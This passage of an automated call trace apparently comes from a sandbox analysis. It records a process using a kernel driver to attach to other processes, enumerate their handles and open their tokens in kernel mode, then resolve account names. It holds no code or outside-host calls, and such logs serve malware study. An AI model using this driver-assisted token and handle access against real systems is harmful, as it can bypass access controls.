(HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.963] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0122.963] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.963] PsAcquireProcessExitSynchronization () returned 0x0 [0122.963] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff880044355d0) [0122.963] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001f9c200, HandleInformation=0x0) returned 0x0 [0122.963] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.963] PsReleaseProcessExitSynchronization () returned 0x2 [0122.963] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0122.963] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435508) returned 0x0 [0122.963] ObfDereferenceObject (Object=0xfffffa8001f9c200) returned 0x1 [0122.963] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.963] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.963] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.963] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.963] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.963] PsAcquireProcessExitSynchronization () returned 0x0 [0122.963] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff880044355d0) [0122.963] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.963] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.963] PsReleaseProcessExitSynchronization () returned 0x2 [0122.963] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0122.963] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0122.963] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.963] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.963] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.963] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x890) returned 0xc0 [0122.963] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.963] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8001fc0b30, HandleInformation=0x0) returned 0x0 [0122.963] ObOpenObjectByPointer (in: Object=0xfffffa8001fc0b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0122.963] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x12 [0122.963] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80038b6180 | out: TokenHandle=0xfffffa80038b6180*=0xc8) returned 0x0 [0122.964] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0122.964] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.964] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.964] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.965] CloseHandle (hObject=0xc8) returned 1 [0122.965] CloseHandle (hObject=0xc0) returned 1 [0122.965] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.965] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.965] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.965] PsAcquireProcessExitSynchronization () returned 0x0 [0122.965] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880044355d0) [0122.965] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001a126f0, HandleInformation=0x0) returned 0x0 [0122.965] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.966] PsReleaseProcessExitSynchronization () returned 0x2 [0122.966] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0122.966] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435508) returned 0x0 [0122.966] ObfDereferenceObject (Object=0xfffffa8001a126f0) returned 0x1 [0122.966] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.966] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.966] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.966] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0122.966] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.966] PsAcquireProcessExitSynchronization () returned 0x0 [0122.966] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880044355d0) [0122.966] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001fc01e0, HandleInformation=0x0) returned 0x0 [0122.966] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.966] PsReleaseProcessExitSynchronization () returned 0x2 [0122.966] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0122.966] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.966] ObfDereferenceObject (Object=0xfffffa8001fc01e0) returned 0x1 [0122.966] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.966] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.966] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.966] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.966] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.966] PsAcquireProcessExitSynchronization () returned 0x0 [0122.966] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880044355d0) [0122.966] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.966] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.966] PsReleaseProcessExitSynchronization () returned 0x2 [0122.966] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0122.966] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.966] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.966] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.966] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.966] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8a0) returned 0xc0 [0122.967] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.967] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8001fef740, HandleInformation=0x0) returned 0x0 [0122.967] ObOpenObjectByPointer (in: Object=0xfffffa8001fef740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0122.967] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x12 [0122.967] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80038b6180 | out: TokenHandle=0xfffffa80038b6180*=0xc8) returned 0x0 [0122.967] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0122.967] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.967] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.967] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.968] CloseHandle (hObject=0xc8) returned 1 [0122.968] CloseHandle (hObject=0xc0) returned 1 [0122.968] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.968] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.968] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.968] PsAcquireProcessExitSynchronization () returned 0x0 [0122.968] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880044355d0) [0122.968] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001fef070, HandleInformation=0x0) returned 0x0 [0122.968] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.968] PsReleaseProcessExitSynchronization () returned 0x2 [0122.968] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0122.968] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.968] ObfDereferenceObject (Object=0xfffffa8001fef070) returned 0x1 [0122.969] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.969] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.969] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.969] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0122.969] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.969] PsAcquireProcessExitSynchronization () returned 0x0 [0122.969] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880044355d0) [0122.969] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001ff3070, HandleInformation=0x0) returned 0x0 [0122.969] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.969] PsReleaseProcessExitSynchronization () returned 0x2 [0122.969] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0122.969] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.969] ObfDereferenceObject (Object=0xfffffa8001ff3070) returned 0x1 [0122.969] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.969] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.969] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.969] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.969] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.969] PsAcquireProcessExitSynchronization () returned 0x0 [0122.969] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880044355d0) [0122.969] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.969] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.969] PsReleaseProcessExitSynchronization () returned 0x2 [0122.969] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0122.969] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.969] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.969] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.969] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.969] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8b0) returned 0xc0 [0122.969] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.969] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8001ffc3e0, HandleInformation=0x0) returned 0x0 [0122.970] ObOpenObjectByPointer (in: Object=0xfffffa8001ffc3e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0122.970] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x12 [0122.970] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80038b6180 | out: TokenHandle=0xfffffa80038b6180*=0xc8) returned 0x0 [0122.970] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0122.970] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.970] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.970] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.971] CloseHandle (hObject=0xc8) returned 1 [0122.971] CloseHandle (hObject=0xc0) returned 1 [0122.971] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.971] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.971] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.971] PsAcquireProcessExitSynchronization () returned 0x0 [0122.971] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880044355d0) [0122.971] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001ffcd10, HandleInformation=0x0) returned 0x0 [0122.971] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.971] PsReleaseProcessExitSynchronization () returned 0x2 [0122.971] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0122.972] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.972] ObfDereferenceObject (Object=0xfffffa8001ffcd10) returned 0x1 [0122.972] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.972] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.972] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.972] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0122.972] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.972] PsAcquireProcessExitSynchronization () returned 0x0 [0122.972] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880044355d0) [0122.972] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002000a20, HandleInformation=0x0) returned 0x0 [0122.972] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.972] PsReleaseProcessExitSynchronization () returned 0x2 [0122.972] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0122.972] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.972] ObfDereferenceObject (Object=0xfffffa8002000a20) returned 0x1 [0122.972] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.972] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.972] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.972] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.972] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.972] PsAcquireProcessExitSynchronization () returned 0x0 [0122.972] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880044355d0) [0122.972] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.972] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.972] PsReleaseProcessExitSynchronization () returned 0x2 [0122.972] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0122.972] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.972] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.972] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.972] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.972] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8c0) returned 0xc0 [0122.972] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.972] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800201cb30, HandleInformation=0x0) returned 0x0 [0122.972] ObOpenObjectByPointer (in: Object=0xfffffa800201cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0122.973] ObfDereferenceObject 